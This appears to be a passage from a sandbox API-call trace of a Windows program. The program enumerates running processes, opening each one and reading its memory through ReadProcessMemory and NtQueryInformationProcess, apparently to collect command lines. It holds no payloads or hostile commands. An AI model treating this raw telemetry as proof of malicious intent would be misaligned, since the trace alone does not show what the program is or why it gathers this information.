lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.929] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.930] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.930] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.930] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.930] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.930] malloc (_Size=0x84) returned 0xe88090 [0351.930] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822d4, lpBuffer=0xe88090, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88090*, lpNumberOfBytesRead=0x0) returned 1 [0351.931] free (_Block=0xe88090) [0351.931] CloseHandle (hObject=0xa9c) returned 1 [0351.931] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0351.932] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5884") returned 4 [0351.932] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.932] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.933] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0xa9c [0351.933] GetLastError () returned 0x0 [0351.933] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.933] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.933] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.933] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.934] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.934] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.934] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.934] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.934] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.935] malloc (_Size=0x70) returned 0xea8d20 [0351.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c0, lpBuffer=0xea8d20, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0351.935] free (_Block=0xea8d20) [0351.935] CloseHandle (hObject=0xa9c) returned 1 [0351.936] _ui64tow_s (in: _Value=0x1718, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0351.936] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5912") returned 4 [0351.936] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.936] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0xa9c [0351.937] GetLastError () returned 0x0 [0351.937] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.937] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.937] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.938] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.938] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.938] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.939] malloc (_Size=0x68) returned 0xeb6150 [0351.939] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222b8, lpBuffer=0xeb6150, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0351.939] free (_Block=0xeb6150) [0351.939] CloseHandle (hObject=0xa9c) returned 1 [0351.940] _ui64tow_s (in: _Value=0xc68, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0351.940] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3176") returned 4 [0351.940] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.940] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.941] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0xa9c [0351.941] GetLastError () returned 0x0 [0351.941] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.941] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.941] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.942] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552510, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.942] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552198, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.942] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.948] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551b50, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.948] malloc (_Size=0x5a) returned 0xeb60e0 [0351.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5521d8, lpBuffer=0xeb60e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0351.949] free (_Block=0xeb60e0) [0351.949] CloseHandle (hObject=0xa9c) returned 1 [0351.963] _ui64tow_s (in: _Value=0x1260, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0351.964] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4704") returned 4 [0351.964] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.964] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.964] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0xa9c [0351.965] GetLastError () returned 0x0 [0351.965] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.965] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.965] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.965] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.965] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.965] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.965] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.965] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.966] malloc (_Size=0x64) returned 0xeb6770 [0351.966] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6770, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0351.966] free (_Block=0xeb6770) [0351.966] CloseHandle (hObject=0xa9c) returned 1 [0351.967] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0351.967] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3180") returned 4 [0351.967] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.967] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.968] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0xa9c [0351.968] GetLastError () returned 0x0 [0351.968] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2470, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2118, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.969] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.969] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.969] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.969] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.969] malloc (_Size=0x2c) returned 0xe727b0 [0351.969] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a215c, lpBuffer=0xe727b0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe727b0*, lpNumberOfBytesRead=0x0) returned 1 [0351.970] free (_Block=0xe727b0) [0351.970] CloseHandle (hObject=0xa9c) returned 1 [0351.970] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0351.970] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5816") returned 4 [0351.970] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.970] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.971] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0xa9c [0351.971] GetLastError () returned 0x0 [0351.971] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4525a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452230, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.972] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.972] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.973] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.973] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x451be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.973] malloc (_Size=0x52) returned 0xea9d50 [0351.973] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452270, lpBuffer=0xea9d50, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9d50*, lpNumberOfBytesRead=0x0) returned 1 [0351.973] free (_Block=0xea9d50) [0351.974] CloseHandle (hObject=0xa9c) returned 1 [0351.974] _ui64tow_s (in: _Value=0x134c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4940") returned 0x0 [0351.974] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4940") returned 4 [0351.974] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.975] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134c) returned 0x0 [0351.976] CloseHandle (hObject=0x0) returned 0 [0351.976] _ui64tow_s (in: _Value=0xee8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0351.976] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3816") returned 4 [0351.976] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.976] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.977] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0xa9c [0351.977] GetLastError () returned 0x0 [0351.977] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.977] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.978] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.978] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.978] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.979] malloc (_Size=0x76) returned 0xea9620 [0351.979] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572164, lpBuffer=0xea9620, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0351.980] free (_Block=0xea9620) [0351.980] CloseHandle (hObject=0xa9c) returned 1 [0351.980] _ui64tow_s (in: _Value=0x44c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1100") returned 0x0 [0351.980] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1100") returned 4 [0351.980] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.980] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.981] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, 